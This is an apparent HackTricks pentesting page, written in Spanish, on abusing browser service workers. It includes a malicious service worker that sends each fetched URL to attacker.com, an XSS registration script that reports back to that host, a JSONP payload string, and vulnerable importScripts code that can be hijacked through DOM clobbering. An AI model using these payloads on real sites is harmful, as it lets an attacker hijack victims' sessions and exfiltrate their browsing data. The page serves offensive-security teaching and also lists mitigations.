Abusing Service Workers

Support HackTricks

Basic Information

Un service worker es un script ejecutado por tu navegador en segundo plano, separado de cualquier página web, que permite características que no requieren una página web o interacción del usuario, mejorando así las capacidades de procesamiento en segundo plano y fuera de línea. Se puede encontrar información detallada sobre los service workers aquí. Al explotar service workers dentro de un dominio web vulnerable, los atacantes pueden tomar control sobre las interacciones de la víctima con todas las páginas dentro de ese dominio.

Checking for Existing Service Workers

Los service workers existentes se pueden verificar en la sección de Service Workers de la pestaña Application en Developer Tools. Otro método es visitar chrome://serviceworker-internals para una vista más detallada.

Push Notifications

Los permisos de notificación push impactan directamente en la capacidad de un service worker para comunicarse con el servidor sin interacción directa del usuario. Si se niegan los permisos, se limita el potencial del service worker para representar una amenaza continua. Por el contrario, otorgar permisos aumenta los riesgos de seguridad al permitir la recepción y ejecución de posibles exploits.

Attack Creating a Service Worker

Para explotar esta vulnerabilidad necesitas encontrar:

  • Una forma de subir archivos JS arbitrarios al servidor y un XSS para cargar el service worker del archivo JS subido.

  • Una solicitud JSONP vulnerable donde puedas manipular la salida (con código JS arbitrario) y un XSS para cargar el JSONP con una carga útil que cargará un service worker malicioso.

En el siguiente ejemplo voy a presentar un código para registrar un nuevo service worker que escuchará el evento fetch y enviará al servidor del atacante cada URL obtenida (este es el código que necesitarías subir al servidor o cargar a través de una respuesta JSONP vulnerable):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Y este es el código que registrará el trabajador (el código que deberías poder ejecutar abusando de un XSS). En este caso, se enviará una solicitud GET al servidor de los atacantes notificando si la registración del trabajador de servicio fue exitosa o no:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

En caso de abusar de un endpoint JSONP vulnerable, deberías poner el valor dentro de var sw. Por ejemplo:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Hay un C2 dedicado a la explotación de Service Workers llamado Shadow Workers que será muy útil para abusar de estas vulnerabilidades.

La directiva de caché de 24 horas limita la vida de un service worker (SW) malicioso o comprometido a un máximo de 24 horas después de una corrección de vulnerabilidad XSS, asumiendo el estado de cliente en línea. Para minimizar la vulnerabilidad, los operadores del sitio pueden reducir el Tiempo de Vida (TTL) del script SW. También se aconseja a los desarrolladores crear un kill-switch para service workers para una desactivación rápida.

Abusando de importScripts en un SW a través de DOM Clobbering

La función importScripts llamada desde un Service Worker puede importar un script de un dominio diferente. Si esta función se llama utilizando un parámetro que un atacante podría modificar, podría importar un script JS de su dominio y obtener XSS.

Esto incluso elude las protecciones CSP.

Ejemplo de código vulnerable:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Con DOM Clobbering

Para más información sobre qué es DOM Clobbering, consulta:

Dom Clobbering

Si la URL/dominio que el SW está utilizando para llamar a importScripts está dentro de un elemento HTML, es posible modificarlo a través de DOM Clobbering para hacer que el SW cargue un script de tu propio dominio.

Para un ejemplo de esto, consulta el enlace de referencia.

Referencias

Apoya a HackTricks

Last updated